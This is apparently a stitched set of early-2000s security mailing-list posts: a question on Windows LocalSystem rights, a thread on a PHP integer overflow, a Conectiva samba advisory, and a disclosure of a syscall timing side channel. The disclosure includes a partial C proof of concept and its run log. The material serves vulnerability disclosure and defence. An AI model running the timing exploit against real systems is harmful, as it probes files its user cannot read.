1. LocalSystem is still the main account under which the most of system 
services run.
2. LocalSystem has unlimited privileges on Active Directory objects. It is 
true for all of the partitions located in the AD database. So, any process 
running under LocalSystem on any of domain controllers can easily crash 
the whole forest just by erasing Schema or Configuration objects. And that 
becomes not funny, you need to control every single backup operator as 
well as patch thoroughly every single buffer overflow vulnerabilities in 
system services and apps.
3. Here is another surprise coming. Now the LocalSystem account is able to 
access other computer's shared resources. Basically, its rights are equal 
to ones of "Users" or "Domain Users". So you don`t need to be 
authenticated by domain at all to access domain resources shared 
for "Users" only.

Has anything changed in Microsoft's vision of the System account?
What are documented security features of this account?

Thanks

Re: @(#)Mordred Labs advisory - Integer overflow in PHP str_repeat() function

[Jon Ribbens]

Javi Lavandeira <[EMAIL PROTECTED]> wrote:
> You seem to be forgetting about PHP's safe_mode, disable_functions
> and open_basedir directives. If configured properly, a user in a
> server with PHP support should not be able to execute commands, read
> other users' files or do anything outside his directory. Even though
> PHP is running with the privileges of the web server, the user
> doesn't have these privileges (again, if properly configured). Many
> ISPs configure PHP in this way.
> 
> *IF* the overflow really exists *AND* is exploitable, I would be
> very worried, because *THEN* users could gain the privileges of the
> web server and do things they shouldn't be doing.

Then you should be very worried. Back in September 2000, Zeev Suraski
(PHP developer and co-author of Zend, the PHP4 scripting engine) said:
(http://marc.theaimsgroup.com/?l=php-dev&m=96815200329214)

> safe mode is indeed falsely advertised as being safe.  It's very
> likely to contain bugs. As far as I'm concerned, it should be
> clearly advertised as something that would prevent the casual user
> from doing stuff he's not supposed to do, but isn't suitable for
> protecting against hackers.

[CLA-2003:615] Conectiva Security Announcement - samba

[Conectiva Updates]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

- --
CONECTIVA LINUX SECURITY ANNOUNCEMENT 
- --

PACKAGE   : samba
SUMMARY   : Remote vulnerability and local race condition
DATE  : 2003-04-04 16:00:00
ID: CLA-2003:615
RELEVANT
RELEASES  : 6.0, 7.0, 8

- -

DESCRIPTION
 Samba provides SMB/CIFS services (such as file and printer sharing)
 used by clients compatible with Microsoft Windows(TM).
 
 The SuSE Security Team performed a security audit in parts of the
 Samba project code and found various problems in both the client and
 server implementations. Among these problems is a buffer overflow[1]
 vulnerability in the packet fragment re-assembly code. A remote
 attacker who is able to connect to the samba server may gain root
 privileges on it by exploiting this vulnerability.
 
 The vulnerability also affects the client library code, thus it is
 possible to exploit applications which use samba library functions by
 using a malicious samba server to send traffic to them.
 
 Additionally, a race condition[2] was discovered which could allow a
 local attacker to overwrite critical system files.
 
 In Conectiva Linux versions 7.0 and 8 samba is being upgraded to the
 latest stable version: 2.2.8. This version fixes the above
 vulnerabilities and includes several other fixes and additional
 features[3]. In Conectiva Linux 6.0, a patch with fixes the above
 vulnerabilities was applied to the package originally distributed,
 keeping samba in its original version (2.0.9).


SOLUTION
 All samba users should upgrade their packages immediately. This
 update will automatically restart the samba service if it is already
 running.
 
 
 REFERENCES:
 1.http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0085
 2.http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0086
 3.http://www.samba.org/samba/whatsnew/samba-2.2.8.html


UPDATED PACKAGES
ftp://atualizacoes.conectiva.com.br/6.0/RPMS/samba-2.0.9-2U60_3cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/6.0/RPMS/samba-clients-2.0.9-2U60_3cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/6.0/RPMS/samba-doc-2.0.9-2U60_3cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/6.0/RPMS/samba-swat-2.0.9-2U60_3cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/6.0/SRPMS/samba-2.0.9-2U60_3cl.src.rpm
ftp://atualizacoes.conectiva.com.br/7.0/RPMS/samba-2.2.8-1U70_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/7.0/RPMS/samba-clients-2.2.8-1U70_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/7.0/RPMS/samba-codepagesource-2.2.8-1U70_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/7.0/RPMS/samba-common-2.2.8-1U70_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/7.0/RPMS/samba-doc-2.2.8-1U70_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/7.0/RPMS/samba-swat-2.2.8-1U70_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/7.0/SRPMS/samba-2.2.8-1U70_1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/8/RPMS/samba-2.2.8-1U80_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/8/RPMS/samba-clients-2.2.8-1U80_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/8/RPMS/samba-codepagesource-2.2.8-1U80_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/8/RPMS/samba-common-2.2.8-1U80_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/8/RPMS/samba-doc-2.2.8-1U80_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/8/RPMS/samba-swat-2.2.8-1U80_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/8/SRPMS/samba-2.2.8-1U80_1cl.src.rpm


ADDITIONAL INSTRUCTIONS
 The apt tool can be used to perform RPM packages upgrades:

 - run: apt-get update
 - after that, execute: apt-get upgrade

 Detailed instructions reagarding the use of apt and upgrade examples 
 can be found at http://distro.conectiva.com.br/atualizacoes/#apt?idioma=en

- -
All packages are signed with Conectiva's GPG key. The key and instructions
on how to import it can be found at 
http://distro.conectiva.com.br/seguranca/chave/?idioma=en
Instructions on how to check the signatures of the RPM packages can be
found at http://distro.conectiva.com.br/seguranca/politica/?idioma=en

- -
All our advisories and generic update instructions can be viewed at
http://distro.conectiva.com.br/atualizacoes/?idioma=en

- -
Copyright 2003 (c) Conectiva Inc.
http://www.conectiva.com

- -
subscribe: [EMAIL PROTECTED]
unsubscribe: [EMAIL PROTECTED]
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE+jdjJ42jd0JmAcZARAi+FAKDzpLt7tf+Yi+Py3qoloXH7cWPmRwCg47NF
kFNcMNrJy3FuMczqvmWFg7E=
=C7qa
-END PGP SIGNATURE-

Re: @(#)Mordred Labs advisory - Integer overflow in PHP str_repeat() function

[Muhammad Faisal Rauf Danka]

Just to add a little more to what Mr Jedi said,

Only allowing php code of the choice, may also endup in infinite loops causing denial 
of service. Including that, they may attempt to establish connection with other 
machines, within the LAN or imagine bruteforcing SQL servers on the internet, or 
bannergrabbing for that matter. 

Having the "apache" or "nobody" privileges, the attacker could do:

- privilege escalation by using local vulnerabilities.
- destroy/ delete/ tamper the logfiles.
- destroy / delete/ tamper the webpages of other customers.
- use it as a launchpad to attack other machines.
- use it for mailbombing / spam / DoS / DDoS / Warez / Bouncing.


Regards

Muhammad Faisal Rauf Danka


--- Jedi/Sector One <[EMAIL PROTECTED]> wrote:
>On Thu, Apr 03, 2003 at 08:39:03AM +0200, Goran Krajnovic wrote:
>> This is a bit pointless, IMHO. 99% of PHP installations run the PHP code with
>> the user-id of the web server process (usually a low privilege user like
>> 'nobody' or 'apache').
>[snip snip]
>> If an attacker has the opportunity to execude PHP code of his choice on a
>> target server [1], he does not need to exploit a buffer overflow in PHP just to
>> get the privileges of the web server user
>
>  You missed an important point.
>  
>  Hosting services offering a PHP interpreter to untrusted people rely on
>PHP features to restrict their field of action.
>
>  Specifically, the open_basedir and safe_mode features are a must to avoid
>people going outside their home directory with PHP scripts.
>
>  If arbitrary code can be run through a PHP vulnerability, these
>restrictions disappear. People can walk through files that are supposed to
>be inaccessible.
>
>  Given that many people just chmod -R 777 their directories when their
>script doesn't work and leave plaintext SQL passwords everywhere, this is
>definitely ann issue.
>
>  Also don't forget that all PHP extensions aren't always enabled. For
>instance, the socket extension is typically disabled by most hosting service
>providers for obvious reasons.
>
>  Once and again, a vulnerability in the PHP interpreter can bypass this
>restriction and gain access to other machines of the LAN, run DOS agents, etc.
>
>  Of course, one shouldn't rely 100% on PHP userland security barriers, this
>is where tools like NetBSD/OpenBSD's systrace can really add another
>efficient layer of security.
>
>-- 
> __  /*-  Frank DENIS (Jedi/Sector One) <[EMAIL PROTECTED]> -*\  __
> \ '/http://www.PureFTPd.Org/";> Secure FTP Server \' /
>  \/  http://www.Jedi.Claranet.Fr/";> Misc. free software   \/

_
---
[ATTITUDEX.COM]
http://www.attitudex.com/
---

_
Select your own custom email address for FREE! Get [EMAIL PROTECTED] w/No Ads, 6MB, 
POP & more! http://www.everyone.net/selectmail?campaign=tag

Syscall implementation could lead to whether or not a file exists

[Andrew Griffiths]

Product: Linux and various other kernels
Tested:
- RedHat kernel 2.4.18-26.7.x (second latest ;))
- RedHat kernel 2.4.18-27.7.x
- Debian 3.0 box
- FreeBSD 4.4
Description:

Due to the implementation of various system calls,  it becomes
possible to test whether or not a file exists in a directory
that is unreadable.
Synopsis:

Filenames can be disclosed, which may be useful for other
attacks.
Problem:

By timing how long it takes for the system call to return, you
can pretty tell whether or not the file exists, because the
failure time is in my testing, three times shorter than if the
file exists.
	To illistrate, here is an example of the attached program
	running with the open() call. I would think other syscalls such
	as stat(), mkdir(), chdir(), etc would disclose whether or not a 	file 
exists.


[+] creating unreachable
[+] creating unreachable/iexist
[+] chmod 0'ing unreachable
[+] d-2 andrewg  andrewg  4096 Mar 20 20:37 unreachable/
[+] Timing open() on unreachable/iexist
[+] Successful: 12 usecs, got Permission denied
[+] Timing open() on unreachable/non-existant
[+] Failure: 3 usecs, got Permission denied
[+] Using 3 as our cutoff.
[+] testing /root/.bashrc and /root/non-existant
[+] /root/.bashrc exists (4 usecs), got Permission denied
[+] /root/non-existant doesn't exist (2 usecs), got Permission denied
After a while of experimentation, I found that the following
formuala seems to be relatively decent at avoiding false
positivites, on my RH box.
		cutoff = ((success_time + failure_time) / 3) - 2

	This is somewhat dependant on the load on the box, and where the 	file 
is located, though it appears.

	On some OS's (notably freebsd in my testing) it will store the
	results of into its cache (different to linux, in the sense that 	it 
throws off the algo above.). Thus, if you just create a file 		and time 
open()ing that, then compare it with a file that has
	been recently opened, you don't get a fair comparsision.

Fix:

No known fix exists. Not exactly sure whether a fix is
appropiate, as the kernel is meant to be as fast as possible.
Exploit:
is attached.
Information is this email may be redistributed as long as the below 
signature stays attached.

Thanks,
Andrew Griffiths
--
Attention: Public floggings will continue until morale improves.
MidWay_/#melb-wireless licks txrxafk while his defenses are down.
 Oh boy. That could have been taken out of context.
#include 
#include 
#include 
#include 
#include 

#ifndef O_NOFOLLOW
#define O_NOFOLLOW  040 /* don't follow links */
#endif

#ifndef O_LARGEFILE
#define O_LARGEFILE 010
#endif

int flags = O_RDONLY|O_EXCL|O_SYNC|O_NOCTTY|O_NOFOLLOW;

/* taken from scuts format string example/brute_blind example */

unsigned long int
tv_diff (struct timeval *tv_a, struct timeval *tv_b)
{
unsigned long int   diff;

if (tv_a->tv_sec < tv_b->tv_sec ||
(tv_a->tv_sec == tv_b->tv_sec && tv_a->tv_sec < 
tv_b->tv_sec))
{
struct timeval *tvtmp;

tvtmp = tv_b;
tv_b = tv_a;
tv_a = tvtmp;
}

diff = (tv_a->tv_sec - tv_b->tv_sec) * 100;
if (tv_a->tv_sec == tv_b->tv_sec) {
diff += tv_a->tv_usec - tv_b->tv_usec;
} else {
if (tv_a->tv_usec >= tv_b->tv_usec)
diff += tv_a->tv_usec - tv_b->tv_usec;
else
diff -= tv_b->tv_usec - tv_a->tv_usec;
}

return (diff);
}

void cleanup()
{

printf("[+] cleaning up\n");
if(chmod("unreachable", 0700)==-1) {
printf("\t[-] Unable to revert unreachable back to being reachable\n");
exit(EXIT_FAILURE);
}

if(unlink("unreachable/iexist")==-1) {
printf("\t[-] Unable to remove unreachable/iexist\n");
exit(EXIT_FAILURE);
}

if(rmdir("unreachable")==-1) {
printf("\t[-] Unable to rmdir unreachable\n");
exit(EXIT_FAILURE);
}
}

int main(int argc, char **argv)
{
struct timeval tv_a, tv_b;
int fd_a, fd_b;
char buf_a[500], buf_b[500];

unsigned int success, n, failure;

atexit(cleanup);

printf("[+] creating unreachable\n");
if(mkdir("unreachable", 0700)==-1) {
printf("\t[-] Unable to create unreachable\n");
exit(EXIT_FAILURE);
}

printf("[+] creating unreachable/iexist\n");
if((fd_a = creat("unreachable/iexist", 0700))==-1) {
printf("\t[-] Unable to create unreachable/iexist\n");
exit(EXIT_FAILURE);
}
close(fd_a);

printf("[+] chmod